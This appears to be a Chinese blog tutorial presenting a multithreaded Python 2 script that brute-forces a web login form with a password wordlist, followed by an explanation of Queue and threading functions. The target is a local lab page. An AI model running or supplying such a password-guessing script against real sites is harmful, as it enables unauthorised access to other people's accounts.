0x01 简介
由于项目需要,今天编写了一个爆破网站平台密码的一个简单的攻击脚本,结合Queue和Threading,我们可以将自己生成的字典保存到队列中,并利用多线程快速的读取字典,进行爆破。
0x02 脚本
不多说,直接上代码
import requests
import re
import Queue
import threading
url = "http://127.0.0.1/shiyan/web1/login.php"
thread = 10
password = Queue.Queue()
fp = open('password.txt','r')
passworddata = fp.readlines()
passworddatastr = ''.join(passworddata)
passworddatalist = re.split('\n',passworddatastr)
for passworddata in passworddatalist:
password.put(passworddata)
def burst():
while not password.empty():
passworddata = password.get()
payload = {'username':'hello','password':passworddata}
res = requests.post(url,payload)
if "Login failed" not in res.text:
print passworddata
print 'success!!!'
for i in range(thread):
t = threading.Thread(target = burst)
t.start()
0x03 分析
为什么要将Queue和Threading结合起来呢,这是因为,单独使用Threading进行多线程跑字典,会造成多个线程跑的是同一个字典,换句话说,就是10个线程跑了10遍字典,这并不是我们想要的,所以,我们需要用Queue将字典存入队列,多线程在执行队列中的元素时,会一个一个从队列中取出,保证每个线程取出的元素都是不同的,保证10个线程跑一遍字典。
简单的介绍一下所用到的函数:
password = Queue.Queue(),初始化队列,Queue()括号中可以加参数,意义是申请的队列长度,如果参数小于1,则长度为无限,这里没有赋值,我们申请的队列长度是无限。
password.put(passworddata),将括号中参数的值传入到队列中
password.empty(),判断队列是否为空
passworddata = password.get(),调用队列对象的get()方法从队头删除并返回一个项目。
threading.Thread(target = burst),开启多线程,执行名为burst的函数。
网友评论